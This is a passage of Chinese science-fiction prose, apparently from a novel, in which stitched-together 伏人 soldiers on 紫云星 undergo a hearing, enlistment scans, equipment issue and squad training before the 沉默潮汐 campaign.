我退出了灵源底层,意识回归婵茧堂那具穿着灰色制服的躯体,听证官们还在等待。数据壁上的光流无声变幻,恨意没有消失,它沉淀了结晶了,从指向具体个人的情绪,升华为一种对自身存在状态的冷静认知,我知道我是什么了,我是一个行走的问题。一个由姒律的恐惧、媞皇的污染骨屑、喑哑的死寂残渣共同构成的、关于存在合法性的活体提问,我的情感,我的痛苦,我的追寻与幻灭,都是这个提问的注脚。 这就是我的结论,也是我的新课题起点。恨,不是爱的对立面也不是情感的某种亚型,恨,是我们伏人这类存在性疑问实体在试图向存在性答案实体寻求解答而不可得时产生的结构性应激反应,它是我们存在方式的必然副产品,它不可消除,只能被观测,被描述,被理解。因此,我申请的新课题,全称应为:《论恨作为伏人群体存在性焦虑外化形态的结构建模、发生机制及其在跨物种社会互动中的不可解性验证》。研究方法:以自身为终极样本,进行全维度、全周期的实时监测与意识深潜,结合灵源底层禁忌数据,构建“伏人存在-情感-自我毁灭”映射的动态模型。接受我是一道无解的题,那么,就请让我成为这道题最清晰的表述。” 妒部听证代表: “V-9-2-1,妳刚才描述的意识接入过程严重违反了《灵源安全法》及《高危意识研究伦理宪章》,仅凭此,我就可以驳回妳的申请,并将妳移交司法程序。” 何知预:“我知道,我准备好了承担一切后果,但在我被移交之前,请允许我完成这个课题,因为如果我被处理了,像我这样的问题,还会以其余形式出现。理解我们或许比简单地删除我们,对这个妳们致力于维护的秩序,长期来看,更为有利,我的研究,可以提供一份详尽的风险说明书。” 奸部资源评估员: “风险说明书…说得好。妳本身,就是最大的风险,但妳的逻辑无懈可击,最高议会一直在头疼伏人问题,从无声暴乱到沉默潮汐再到现在的新法博弈。我们或许真的需要一份像妳所说的报告。资源我可以特批,但妳必须处于二十四小时不间断的监控下,所有数据输出实时备份并接受审查,妳的身体、妳的意识,从现在起,属于这个课题。” 娼部伦理顾问: “何知预……不,V-9-2-1。我听到了姒律的残响,通过妳的转述。我感受到了她的恐惧,和妳的绝望。作为伦理顾问,我本应坚决反对这种将自我彻底工具化的研究。但作为一个人我无法否认,妳的道路,或许是妳能选择的、最像活着的道路。我只有一个要求:在妳的监测系统里,加入一个不可删除的最低优先级的后台进程,让它持续扫描妳的意识数据流,寻找除了恨和问题之外,任何微弱的、属于何知预本身的信号波动。哪怕只是瞬间,让我们知道,在那片由废墟和疑问构成的荒原上,还有一点点不是废墟的东西,这是批准的条件。” 何知预:“我同意加入进程,尽管我认为,它大概率只会记录下永恒的噪音。” 妒部听证代表: “那么,终审决议。批准V-9-2-1何知预的课题申请,授予其有限制的灵源高危区访问权限及自我研究特别许可。立即启动全方位监控,课题代号:回声解剖。现在,进行最终确认,剥离旧有社会身份编码及课题关联,载入新身份:“研究者,V-9-2-1,课题回声解剖唯一主体与对象。” 何知预:“确认剥离,确认载入。” 4. 第四幕 雪青历482旋雾月第七日·酒摊 宛方知:“光线是冷的。墙壁是浅灰吸音材料,表面会有细密蜂窝状纹理,空气里有消毒水和金属粉尘的混合气味,还有低频到让人察觉不到的味道:恐惧,不是某个人的恐惧,是无数人在这里留下又被循环系统过滤后残余的、沉淀下来的恐惧分子。 我站在队伍里,前面还有十三个人。都是伏人,从皮肤上蜿蜒的拼接线就能认出来:有些是精细的刺绣状,有些是粗暴的缝合疤,还有些是介于两者之间的、像地图上不自然的国境线。我们穿着统一的灰色便服,布料粗糙,摩擦着皮肤上的拼接线,每次微小移动都会唤醒那些缝合处的记忆:针尖刺入、线穿过皮肉、打结、剪断。 队伍在缓慢前进。前方是一排半透明隔间,每个隔间里都有一张金属桌、一把椅子、一台终端机、一个穿着深蓝制服的登记员。隔音很好,听不见里面在说什么,只能看见嘴巴开合、手指在屏幕上滑动、偶尔有人按手印时身体会轻微前倾。 轮到我了。隔间的门自动滑开,我走进去,门在身后闭合。登记员是妨部的人,‘编号。’‘3-7-4-9。’ 她在屏幕上调出档案。我的全息影像出现在空中,缓慢旋转,旁边滚动着数据:身高、体重、骨骼密度、肌肉纤维比例、灵骨残量估值、社会化评分、前科记录、抚养记录……所有关于宛方知这个存在的可量化部分都变成了发光的字符串,‘自愿参战声明。阅读,然后按左手无名指。’ 声明很短,只有五条: 一、本人自愿参加沉默潮汐战役,接受一切军事指令。 二、理解并接受战场伤亡风险,承诺不追究军方责任。 三、战功将按《战时伏人贡献评定暂行条例》核算。 四、若阵亡,遗体将按《伏人遗骸资源化处理规程》处置。 五、一切解释权归紫云星雪青国最高议会所有。 每个字我都认识,但连在一起读的时候它们失去了意义,就像是被随意摆放的积木,形状完整但没有构筑出任何可理解的建筑,我盯着最后一条看了三秒,然后伸出左手把无名指按进金属板上的识别槽。凝胶包裹住指节,从指甲根到第一个指关节,扫描光束亮起,是淡紫色的,沿着指纹螺旋纹路缓慢移动,我能感觉到它在读取:指纹、皮下毛细血管分布、皮肤电阻、甚至更深层的灵骨微循环的波动频率。所有这些数据被打包、加密、上传,然后我的档案里多了一个新的标签:F-3-7-4-9/D。F代表伏人,D代表深潜任务预备役。 ‘去第七区领装备。贴在锁骨下两厘米处,贴合皮肤。洗澡、出汗、受伤,都别撕。死了靠这个回收遗体。’我接过贴膜掀开衣领,找到锁骨下方两厘米的位置,那里有一道很浅的拼接线,我把贴膜按上去,瞬间皮肤传来持续微麻感,是定位信号发射器在工作也是生命体征监测器。 我离开隔间,走进通往第七区的走廊。走廊很长,两侧是半透明隔间墙,能看见里面的模糊人影:有人在试穿作战服;有人在接受基础注射,针头扎进颈侧时,身体会条件反射地绷紧,然后缓缓松弛;还有个伏人蹲在墙角呕吐,吐出来的东西是半透明黏液,带着血丝,在地上摊开污渍。 我的隔间在走廊尽头。推门进去,装备已经摆好了,整齐放在金属台上: ·一套灰绿色的作战服,在灯光下能看到交织的纤维纹理。肩部、肘部、膝盖处嵌着硬质护甲,是暗灰色的复合材料,表面有细密防滑纹。我拿起来掂了掂,比想象中重,大概有八斤。 ·一把能量步枪,型号C-6标准型。枪管上有细微划痕,是上一任主人留下的。我拉开枪栓检查能量传导轨,有轻微磨损但还在可接受范围,备用弹匣三个,每个标明标准容量,五十发。 ·一个基础医疗包,帆布材质,边缘已经开始磨损。打开,里面有三卷绷带、一小瓶消毒喷雾、两管止血凝胶、一盒止痛片、一把折叠剪刀、一把镊子。绷带是军用的,比民用款粗糙,但吸水性强。 ·一管营养膏,铝制管身,标签上写着单日最低维持剂量,三千卡路里。我拧开盖子闻了闻,气味难以形容,像混合了谷物、合成蛋白和某种防腐剂。 ·还有零碎:一双战术手套、一双高筒作战靴、一个水壶、一条多功能腰带、一个背包。 我开始换衣服。皮肤暴露在冷空气中,拼接线在灯光下更加清晰:从左耳后开始,蜿蜒过锁骨,分成两支,一支沿着右臂内侧延伸到手肘,一支沿着左臂外侧延伸到手腕。线是深褐色的,略微隆起,我触摸它们,指尖传来凹凸不平的触感,那是无数针脚留下的微小疤痕。 窗外传来运输舰起降的轰鸣,一声接一声,我走到窗边,透过嵌着金属网格的玻璃看向外面:起降平台上,一艘艘灰黑色的运输舰正在排队起飞。它们的外形像被拉长的水滴,尾部喷出蓝白色的等离子焰,把空气灼烧得扭曲,紫色云层被舰体划开一道道口子,云絮被气浪撕碎又缓缓合拢。 我背上背包,重量让肩膀下沉。拿起步枪,枪托抵在肩窝的位置刚好。最后检查了一遍贴膜,它还在锁骨下微微发麻持续提醒我:妳现在是F-3-7-4-9/D,一个可追踪、可评估、必要时可抛弃的战斗单位。 离开隔间走进前往集结大厅的人流。周围都是和我一样穿着灰绿色作战服的伏人,有的年轻得脸上还有绒毛,有的沧桑得眼角堆满皱纹。大厅的墙上挂着巨大的显示屏,滚动着名单和分配信息。我找到自己的名字:宛方知 →运输舰铁砧七号 →登舰口C-3。大脑在自动运转,像一台预热完毕的机器,我知道这是长期训练的结果,姚归云教我的:在陌生环境中,立刻建立认知框架,把所有输入信息分类处理,减少不确定性带来的焦虑。但此刻,这个机制运转得过于顺畅,顺畅到让我感到不安,就像身体已经提前进入了战斗状态,而意识还在试图理解发生了什么。 登舰口到了。前面排着队,大约二十人。我站到队尾,抬头看向运输舰的舱门,那是一个矩形开口,里面是红色照明灯,像是喉咙。 深呼吸,一次,两次。 队伍开始向前移动。 我迈出第一步。” 歌虎杖:“雨下个不停,我站在露天场地里排队,脚下是没过脚踝的泥水,带着地下渗出来的硫磺味。队伍缓慢蠕动,轮到我的时候,执法者抬起手中的扫描仪,对准我手腕上的编码,嘀嘀两声屏幕亮起红光,‘3-1-0-8?’她皱眉,抬头看我,‘歌虎杖。前科记录:三次斗殴,一次损坏工物,一次拒捕。档案里还备注性情暴戾,服从性差。妳怎么混进来的?’我咧嘴笑回:‘妳们不是缺人吗?缺到连我这种垃圾都要收。’她在平板上划了一下:‘算妳走运,战死的话,还能省点监狱粮食,去那边领装备,别耍花样。’ 装备发放处是个简陋棚子,四面透风。一个瘸腿的老伏人坐在帆布袋后面,嘴里叼着根没点燃的烟。她看了眼我的编号,从最底下拖出一个袋子扔到我脚边,我捡起袋子掂了掂,轻得可疑,走到角落里,蹲下打开。 ·作战服是灰绿色的,但颜色不均匀,有的地方深有的地方浅,像是用不同批次的布料拼凑的。右肩的缝合线已经开了线,露出里面发黄的海绵填充物。裤子短了一截,我比划了一下,大概到脚踝上方三厘米。 ·能量步枪是旧型号C-5,枪托上刻着至少五个不同的编号,都被划掉了,最后一个编号是G-772,刻得很浅。我拉动枪栓,阻力很大,备用弹匣只有一个,而且能量指示器是坏的,显示永远满格。 ·医疗包更寒酸:一卷绷带、一小瓶碘伏、两片止痛片、没有剪刀,没有镊子,连最基本的止血凝胶都没有。 ·营养膏的铝管瘪了一块,像是被踩过,捏了捏,里面大概只剩一半。 我坐在地上开始改装,从背包里掏出随身带的工具包,先把作战服右肩的裂缝缝上,把裤子塞进靴子里,用细线把裤腿和靴筒绑在一起防止滑出来,检查步枪,拆开,清理枪栓轨道,涂上随身带的一点润滑油脂,重新组装,拉动,这次顺畅多了。医疗包没办法,只能将就,营养膏揣进怀里,用体温稍微软化一下,等会儿好吃。 旁边有个年轻伏人在发抖,‘妳……妳不怕吗?’我系好最后一个结站起来,我转头看她,她眼睛很大但瞳孔缩得很小,‘怕有用?’她愣住了,我没再说什么,转身走向集合点。雨还在下,细密雨丝打在脸上,我想起凌霄最后一次摸我头的时候也是这样的天气,那是在政务厅顶楼露台,紫云正在从暗红过渡到绛紫,她把手放在我头顶,‘阿刺,以后要靠妳自己了。’当时我没懂。我以为她在说工作上的事,说我要独立处理文件了,现在站在泥水里,背着破烂装备,等着去一个可能回不来的地方,我好像懂了一点。靠自己的意思就是没有人会再来摸妳的头了,就是死了也没有人会真的记得妳。 集合哨响了,前面有人摔倒,周围人绕开她继续前进,摔倒的人自己爬起来抹了把脸, 没人帮忙因为要节省体力,每个人都知道接下来的路会更难走,保存每一分力气都是为了在关键时刻,也许是用在逃跑上,也许是用在杀人上。 我们被领到一个更大的棚子下面,排队登车。车是敞篷的运输车,轮胎很高,车厢里没有座位,只有金属底板,我们一个挨一个,膝盖顶着前面人的背,车启动时,惯性让所有人向后倒又撞在一起。 我靠在车厢壁上闭上眼睛,在无法改变的环境中尽量减少能量消耗,呼吸放慢心跳放慢肌肉放松,但耳朵保持警觉:引擎轰鸣、轮胎碾过碎石的声音、远处隐约的雷声、还有车厢里压抑的啜泣。 车开了大概一小时,停下。我们被赶下车站在另一个更大的空地上。这里已经聚集了至少五百人,都是伏人,穿着同样的灰绿色作战服,像是会移动的苔原。 扩音器响了,是合成的女声:‘按编号前往指定登舰区域。重复,按编号前往指定登舰区域。’我看了眼手腕上的编码,3-1-0-8,对应的区域是东三区,我跟着指示牌穿过人群,舰体比之前看到的要小一些,外壳有修补痕迹,我排队登舰,舱门很窄只能一个一个进,轮到我时,舱门口的扫描仪嘀了一声,绿灯亮起。我踏进舱内,空间比想象中拥挤,两排金属长凳,中间狭窄过道,已经坐了大半人,我找了个靠边位置坐下,这样至少有一侧是舱壁,少一个需要警惕的方向。 扩音器再次响起:‘预计航程六小时。期间可能遭遇气流颠簸,请系好安全带。’安全带是简单束带,扣在腰间,我扣好,调整到不会勒得太紧但也不会松脱的程度,任何束缚都要留出一点余地,万一需要紧急挣脱呢? 运输舰开始爬升,失重感袭来,身体被压在椅背上。透过狭小舷窗我看见地面在迅速变小:收容所缩成一个小点,周围矿区变成疮痍疤痕,更远处是城市的轮廓,像小孩用积木搭出的粗糙模型。 然后扎进云层,紫色,全是紫色,在舷窗外翻滚涌动,偶尔有闪电划过,惨白的光瞬间照亮整个舱室,映出一张张没有表情的脸。 我闭上眼睛,手指无意识地摩挲着作战服右肩的缝合线,摸起来很结实,至少不会在关键时刻裂开。” 何知预:“检测舱像一颗银白色的卵。我躺进去,舱门从头顶闭合。光束从头顶开始移动,是复合频谱的扫描束,我能感觉到它在穿透皮肤、肌肉、骨骼,读取每一层的密度、弹性、传导性。同时,贴在我太阳穴、胸口、手腕的传感器在监测生理数据:心率、血压、皮电反应、脑电波模式。 我在脑子里同步构建模型: 输入变量:个体生理参数、神经反应速度、灵骨残余活性。 输出变量:战斗潜力评分、建议岗位、生存概率预估。 过程是自动的,当扫描光束移动到我的左臂尺骨时,模型突然卡顿了一下,那里有一簇微观晶体结构,扫描束在那片区域停留了更长时间数据流出现了异常波动。 我记下这个异常,可能影响评级。二十分钟后,扫描结束。舱门打开光线涌入,我坐起来,负责检测的研究员已经把数据板递了过来,‘综合评价B+。逻辑推演能力A,战场应变能力C,协同作战意愿D-。妳确定要上前线?以妳的智力水平,留在后方做战略分析更合适,存活率会高很多。’ 我接过数据板,快速浏览。 ·优势:擅长复杂环境下的路径规划(准确率98.7%)、能量武器弹道计算(误差<> ·劣势:近身格斗反应延迟(平均0.8秒,高于标准值0.3秒)、危机下的本能决策偏向保守(倾向于规避风险而非解决问题)、对团队协同的价值认知不足(在模拟测试中多次选择独自行动)。 最后是一行加粗的结论:‘建议分配至后方参谋部门或数据支持岗位。若强制派遣至前线,建议担任侦察或狙击等非接触性职位。’我把数据板递还给她:‘我确定去前线。’她看了我一眼:‘随妳,去三号厅领装备。顺便提醒,妳的情感抑制模块有轻微过载迹象,过去七十二小时里,杏仁核活动峰值出现了三次异常波动,建议每四十八小时做一次神经调节。’‘谢谢提醒。’我说,情感抑制模块过载…是因为最近频繁梦见姒算吗?还是因为那个雨夜吻她的记忆残留?数据不足,无法分析。 负责发放的是个年轻人,她看了一眼我的评级,从后面货架上取出全新装备。 ·作战服是定制裁剪的,面料是高强度合成纤维,内嵌有温度调节层和轻微的能量抗性。护甲是模块化的,可以根据任务需要调整厚度和位置。我穿上试了试,完美贴合,没有多余重量。 ·能量步枪是最新的C-7型,带可调节功率(从非致命震荡到穿透性光束)和连发模式。枪管下方有战术导轨,可以加装瞄准镜、榴弹发射器或其余附件。备用弹匣五个,每个都配有独立的能量指示器。 ·医疗包是专业级的:除了标准物资,还有两管高浓度止痛剂、一剂紧急唤醒针、便携式生命体征监测仪、甚至还有一套微型外科手术工具。 ·其余:多功能战术目镜、加密通讯器、灵质污染检测仪、高能量营养棒。 我把装备一件件装进背包,脑子里已经开始构建任务模型:假设战场环境为高浓度灵质污染区,能见度低于30%,敌方单位分布呈随机泊松分布,平均密度每平方里三点四个单位。我方小队编制六人,假设队员平均战斗评级为B,协同效率按标准值0.7计算…… 数据在流动,式子在迭代,输出结果:理论生存率,17.34%。 我拉上背包拉链,走出三号厅,走廊里已经有不少伏人在排队等待检测。在走廊尽头,我遇到了柳窃影。她刚从训练场出来,作战服上有汗渍和灰尘,我们互相点了点头,没有交谈。我知道,她也在我身上收集数据:我背包的饱满度、装备的型号、她在评估我作为一个潜在队友的价值。 排队登舰时我站在她后面,她背包侧面插着一根很细的金属杆,是多功能撬棍也可以当短矛用,她的靴子鞋底有特殊的防滑纹,像是自己改装的,她的左手手腕上戴着一个不起眼的黑色腕带,表面有细微指示灯在闪烁,应该是某种信号干扰或追踪装置。 我记下这些细节,在战场上,了解队友的装备习惯,比了解她们的性格更有用。 登舰,找到座位,系好安全带,大脑在后台继续运算:生存率17.34%,这个数字可以优化吗?如果假设小队协同效率提升到0.8,生存率升至21.56%,如果假设污染浓度低于预期,生存率升至24.91%,如果假设…… 数字在跳动,小数点后的位数在变化,但有一个变量,我无法量化:运气。在模型里,运气通常被处理为随机扰动项,服从正态分布。但在战场上,运气不是随机的,它是所有未被观测到的变量、所有认知盲区、所有蝴蝶效应累积而成的黑洞,我无法计算它,只能承受它。” 柳窃影:“我是最后一个出来的。 训练持续了七十二小时,但我感觉像过了七十二年。因为持续的高强度信息处理负荷,训练内容很简单:在不被发现的条件下,从A点窃取情报送到B点。区别在于,这次训练场模拟的是前线战场环境:随时有流弹、能量乱流、还有自动巡逻的侦察机。 我完成了七次任务,失败了三次。失败的原因,在教官看来是擅作主张,但在我自己的评估体系里,是信息收集不完整导致的风险误判。比如第二次任务,我选择了最隐蔽的路线,但没料到那条路线上有隐藏的能量乱流发生器,那是训练前临时添加的变量,不在初始地图里,我触发乱流,被电击麻痹,任务失败。第五次任务,我发现情报箱是诱饵,真的情报藏在隔壁房间的通风管道里。这个判断是对的,但我低估了爬进管道所需的时间,以及管道内灰尘浓度对呼吸的影响,我窒息了,超时。第七次任务最简单,但我故意在最后阶段触发了警报,我想看看教官的反应速度、支援单位的部署模式、以及训练系统的漏洞在哪里,结果是我被扣了三十分,但得到了更有价值的数据:从警报响起到第一个巡逻单位抵达,平均用时十二秒;支援单位的优先封锁方向是出口而非潜入路径;训练系统的敌我识别有两秒的延迟,可以利用。教官在评分表上写评语时手很用力:‘过度依赖个人判断,缺乏团队意识。战场上,命令就是命令。偏离计划等于把整个小队置于危险之中。’我没反驳。反驳没有意义,而且会暴露更多我的思维模式,在训练场,暴露得越少越安全。 领装备的地方在训练场地下室,‘又是妳这种,聪明反被聪明误。战场上,活下来的不是最聪明的,是最听话的。’ 我捡起袋子,打开检查。 ·作战服是标准的灰色,但布料有明显的修补痕迹,肩膀处用不同颜色的线缝过,肘部加了层皮革补丁,应该是回收再利用的旧装备。 ·能量步枪的准星有点歪,我随手调正。枪托上刻着前主人的名字缩写:‘L.Y.’,已经被划掉,但痕迹还在。 ·医疗包里的绷带只剩两卷,而且不是无菌包装,是散装的。抗生素过期了三个月,止痛片只有四片。没有剪刀,我用随身带的折叠刀代替。 ‘喂,小鬼,战场上,活下来的不一定是跑得最快的,也不一定是最聪明的。是运气最好的。而运气,最喜欢那些知道自己什么时候该躲起来的人。’我推门走了出去,走廊很长,墙壁上贴着泛黄的征人海报,海报上的人们穿着崭新装备,下面是标语:‘为了紫云,为了未来。’ 走出训练场,外面是集结广场。已经聚集了很多人,大多三五成群,低声交谈。我找了个角落坐下,开始观察: ·左边那群人,大概七八个,看起来互相认识。她们在分享营养膏,动作自然,应该是长期一起生活的同伴。危险系数:低 ·右前方有个独坐伏人,一直在检查装备,反复拆装步枪。动作熟练但过于频繁,可能是焦虑表现。危险系数:中等 ·远处有几个穿军官制服的女人在巡视,偶尔停下来查看名单。她们的注意力分配模式:60%在名单和通讯器上,30%在维持秩序,10%在观察伏人状态。可利用盲区:当两人交谈时,视线会短暂重叠,形成死角。 我记下这些,然后开始清点自己的装备。除了刚领的,我还有私人物品:·多功能撬棍(伪装成水壶支架),·信号干扰器(伪装成腕带),·微型摄像头(贴在领口内侧),·锁具破解工具(藏在靴子夹层),·以及最重要的:记忆,训练场的地形图、巡逻规律、行为模式、系统漏洞,所有这些,都在脑子里,分门别类,随时调用。 扩音器响了:‘所有人员,按编队前往登舰区。重复,所有人员,按编队前往登舰区。’排队登舰,引擎启动震动传来,运输舰扎进云层颠簸加剧,我握紧撬棍。” 迎枫香:“我们排着队接受最后的健康筛查。队伍移动得很慢,因为每个伏人都要经过全套检查:体温、血压、血氧饱和度、灵骨稳定性指数、神经反应速度、还有更深入的心理压力评估。 ‘心率偏快,一百一十二。紧张?’ ‘有点。’ ‘正常反应。到了前线,记得定时监测自己的生理指标。伏人对灵质污染的抵抗力比女人差,一旦出现头晕、幻视、皮肤瘙痒或情绪异常波动,立刻报告。’ ‘好。’ 她继续检查。用扫描仪测量我的灵骨稳定性,数值在正常范围下限但还在安全区内,神经反应测试:用小锤敲击膝盖,观察反射弧。正常。 最后是心理压力评估:她让我盯着一个光点看三十秒,同时监测我的瞳孔变化。光点会随机闪烁,瞳孔应该相应缩放,但如果压力过大,缩放模式会出现异常。 三十秒后,她点头:‘轻微紧张,但控制得很好。妳是医疗兵?’ ‘是。’ ‘那就更要注意。医疗兵最容易出现替代性创伤,看着别人受伤、死去,久了会内化那种痛苦,记住,妳是去救人的,不是去感同身受的,保持专业距离。’ ‘我尽量。’她拍了拍我的肩,示意检查结束。我去隔壁领装备。 医疗兵有特殊待遇,作战服是深蓝色的,武器是一把多功能手术刀和一把低功率自卫手枪。医疗包比标准版大两倍,里面塞满了各种物资,我清点: ·止血凝胶:十二管,不同型号。 ·镇痛剂:二十支,分口服和注射两种。 ·抗污染血清:六剂,针对不同类型的灵质污染。 ·骨骼粘合剂:三罐,用于临时固定骨折。 ·便携式生命体征监测仪:一台,带屏幕和记录功能。 ·简易外科手术工具:一套,包括剪刀、镊子、缝合针线、持针器、扩张器等。 ·其余:消毒纱布、绷带、一次性手套、口罩、防护眼镜、急救毯。 重量不轻背起来肩膀立刻下沉了两厘米,我调整背带让重量分散到腰部和臀部,旁边一个年轻人凑过来,她也是医疗兵:‘妳……上过前线吗?’‘没有。’‘我也没有,她们说这次战役很惨烈,伤亡率可能超过百分之五十。’我没接话,百分之五十这个数字在我的脑子里自动拆解:假设两千人参战,百分之五十伤亡就是一千人。这一千人里,有多少是当场死亡,有多少是重伤不治,有多少会留下永久性残疾?医疗资源该如何分配?优先救治生存概率高的,还是伤势最重的?如果药品不够,是给一个人用足量,还是分给三个人用半量? 引擎启动,运输舰开始爬升。我想起那些病房,那些仪器,那些在病床上努力呼吸的人。然后云层吞没了一切,我闭上眼睛,开始默背医疗规程:·大出血处理:直接压迫,止血凝胶,加压包扎。·骨折处理:夹板固定,止痛,抗休克。·污染伤口处理:隔离,清创,抗污染血清。·心肺复苏:三十比二,深度五厘米,频率一百到一百二十次每分钟。·截肢决策:当肢体损毁严重、危及生命时,在近端健康组织处进行环形切断…… 字句在脑海里流淌,是一条熟悉的河,它们不能消除恐惧但能提供一个框架,当世界崩塌时至少还有步骤可循至少还有事可做。 运输舰开始剧烈颠簸,舱内有人尖叫有人呕吐,我没睁眼继续默背,会没事的。” 夜溯光:“广场是圆形的,地面铺着浅灰石板,每块石板上都刻着细密花纹,是某种古老的符咒,据说能增强记忆传导的稳定性。广场中央立着石柱,柱身缠绕着浮雕,描绘媞皇战死化星的过程:她的身体碎裂,骨头沉入大地,血液升上天空变成紫云。 我站在指定区域里,负责点名的仪轨师穿着娼部标准的深紫长袍,袖口领口绣着银线,她的声音不高:‘念到编号的,上前领受记忆馈赠。’ 队伍缓慢前进,轮到我时她从身边托盘里取出一片透明晶体,她将晶体贴在我的眉心,瞬间晶体融化变成凉意渗入,接着,无数画面涌入脑海: ·一个老兵蹲在战壕里,一边哼着不成调的歌谣一边用匕首在木头上刻着什么,炮火在远处爆炸,泥土溅到她背上,但她没停继续刻,最后她举起那块木头,上面是粗糙的太阳图案,她把木头递给旁边的年轻士兵,说:‘拿着,等出去了,看看真的太阳。’ ·两个士兵在短暂休整时间里靠在同一堵断墙后面。其中一个从怀里掏出半支皱巴巴的烟,两人轮流抽,一口,两口,烟雾在清晨的冷空气里缭绕。谁也没说话,只是看着远处的地平线,那里天空开始泛白。 ·医疗兵跪在泥泞里,膝盖以下全是血污,不知道是她自己的还是伤员的,她手里拿着绷带正在给一个腹部中弹的人包扎,血不断渗出来,伤员看着她眼神涣散但嘴唇在动,像是在说谢谢又像是在念谁的名字。 ·还有更古老的:媞皇战死的那一刻,她的骨头碎裂,碎片像流星一样坠向大地。其中一块碎片在坠落过程中,表面开始结晶长出像珊瑚一样的枝杈,它落进一片沼泽,沉入泥底,千年后,有人在那里挖出了第一块灵骨矿石。 ·第一代女性站在灵源前宣誓,她们的声音重叠在一起,形成嗡嗡低鸣,像是天空的心跳。 这些记忆不属于我,但它们现在成了我的一部分,它们没有逻辑顺序,没有因果关系,只是存在,像河流里的浮木,随波逐流,偶尔撞上意识的河岸。 仪轨师的手离开我的额头‘这是前人留下的经验回响,它们不会教妳怎么开枪也不会教妳怎么躲避炮火,但它们会在关键时刻给妳一点支撑,让妳知道,妳不是第一个走这条路的人,也不会是最后一个。’‘谢谢。’我说。 我回到队伍里,等待其她人完成馈赠。有人流泪有人颤抖有人眼神变得空洞,记忆的冲击对每个人都不一样,我闭上眼睛,让那些碎片在脑海里沉淀,它们不会消失,只会慢慢融入背景,成为我感知世界的新图层。 广场上的扩音器响了:‘所有人员,按编队登舰。重复,所有人员,按编队登舰。’人群开始移动,我跟着队伍往前走,抬头看了一眼天空,紫云正在缓慢旋转,云层边缘被夕阳染成暗银色,我想起记忆碎片里那块坠落的骨头。它在下落的过程中,是否也曾这样看着天空?看着自己离熟悉的星空越来越远,离陌生的大地越来越近?队伍前进,我经过那根石柱,手指无意识拂过柱身上的浮雕,是媞皇碎裂的腰部。然后我走进登舰通道,通道是倾斜向上的,两侧墙壁是金属板,上面有各种指示标志和警告标语,登舰口到了,确认登舰,脑海里,那些记忆碎片开始自动排列,它们组成一幅幅模糊的画面,只是情绪拼贴:孤独、陪伴、绝望、坚持、消失、留下。 运输舰爬升,穿过云层,紫色吞没舷窗。 我在黑暗里轻轻哼起一段旋律,是记忆碎片里那个老兵哼的歌谣,哼着哼着,周围的其余声音渐渐淡去:引擎轰鸣、别人呼吸、装备碰撞…都退到背景里,只剩下这段简单旋律。 它不能驱散恐惧,不能带来希望,但它能填满寂静。 在战场上,有时候,填满寂静就是活着的第一要务。” 迎枫香:“分配是随机的,或者更准确地说是按某种我们不了解的算法进行的,可能是按技能评级,可能是按出生批次,也可能纯粹是抽签。队伍在缓慢前进,轮到我的时候负责分配的军官看了一眼我的编号,在平板上划了一下:‘迎枫香,分配到碎骨小队。集合点:第三环,七号训练室。队长:待定。’通往第三环的通道是斜坡走起来有点费力,训练室在一条支道的尽头,门开着里面已经有人了。我走进去第一眼看见的是个高个子伏人,她正在检查步枪的每个零件:先看枪管,手指摸过内壁;再检查能量传导轨,用随身的小刷子清理灰尘;最后是弹匣,逐个确认能量存量。 第二个人靠在对面的墙边是疤脸伏人,她眼睛半闭着,她的右手搭在腰间匕首柄上,轻轻搭着随时可以抽出。第三个人蹲在角落里,手指在药品包装上轻轻摩挲像是在确认什么,她的侧脸很年轻。第四个人站在通风口下方仰头看着栅格,她应该是在评估通风管道的尺寸走向、以及可能的出入口……训练室不大,大约五十平米,地上有各种颜色的粉笔标记,之前应该用作近战训练场地,那些标记是格斗时的站位点。天花板很高,吊着日光灯,把每个人的影子压成薄薄一滩。 门被推开了,‘我是媖断,妳们接下来的教官兼临时队长,在正式任务开始前,我们有七十二小时进行协同训练。我知道妳们来自不同地方,有不同背景,可能互相看不顺眼。但接下来七十二小时,妳们必须学会两件事:第一,服从我的命令;第二,把命交给彼此。碎骨是特殊编制的小队。妳们的任务不是正面作战,而是潜入、侦察、破坏,必要时执行斩首行动,这意味着妳们会去最危险的地方,面对最棘手的敌人,而且大概率没有后援。现在,告诉我,谁想退出?’ 没人说话,‘那么从今天起,妳们不再有自己的名字,妳们只有代号。’” 夜溯光:“训练在地下三层,一个模拟战场。墙壁可以移动地形可以重置,媖断把我们扔进去,任务很简单:从A点拿到情报芯片,送到B点,途中会遭遇敌人,其实是自动炮塔和移动靶,被击中会被记录为受伤,三次受伤判定为阵亡。 第一次尝试,我们花了四十三分钟触发了七次警报,医生阵亡回声重伤,我拿到芯片,但在最后关口被炮塔锁定差两米没送到。媖断在控制室看完全程然后接通广播:‘烂透了。妳们不是在协作,是在互相拖后腿。’ 她一个一个点评:‘秩序太执着于最优路径,但最优路径往往是最容易被预判的,敌人不是傻子,不会把陷阱设在最明显的地方。医生,妳太专注于治疗但忘了自己也会受伤,在队友倒地前先确保自己的安全。幽灵潜行技术很好但完全脱离队伍,等妳发现情报芯片需要两个人的指纹才能解锁时已经晚了。回声,…妳一直在哼歌?’我点头:‘古歌,可以稳定心神。’ 第二次尝试因为调整策略所以好了一些,花了三十一分钟,触发三次警报,无人阵亡。但还是在最后关头出了问题,B点的门需要密码,密码藏在A点的一份文件里。我们拿了芯片但没看文件,‘情报不是只有芯片,附属信息往往更重要,妳们太着急了。’ 第三次,第四次,第五次……我们一遍遍进迷,一遍遍失败。有时候是判断失误,有时候是配合脱节,有时候纯粹是运气不好,比如第六次,我们刚拿到芯片场景突然重置出口位置变了。 第七次尝试前我们坐在准备区休息,大家都在喝水检查装备或者发呆,医生开口:‘我觉得…我们缺少一个开关。’‘什么开关?’‘就是某种信号,表示现在该做什么,比如,秩序下命令时我们会听,但有时候命令来不及下,或者情况太混乱,这时候需要一种本能反应。’‘像训练动物那样?’‘不完全是,更像默契,比如,看见秩序抬手,就知道她要规划路线;看见老刀握紧刀柄,就知道她要冲锋;看见我打开医疗包,就知道有人受伤了。’我轻轻说:‘像合奏。我记忆里有段碎片,是几个乐手在合奏。她们不用说话,只看彼此的眼神和呼吸,一个人吸气,其她人就知道该进哪一段,一个人点头,就知道该加快还是放慢。’‘所以我们需要建立一套非语言的信号系统。不只是战术手势,还有细微的动作习惯。’‘比如?’ ‘比如我思考时会摸下巴。如果妳们看见我摸下巴,就知道我在计算路线,需要安静。比如老刀冲锋前会舔嘴唇,如果看见她舔嘴唇,就知道她要动了,准备好跟进。’ 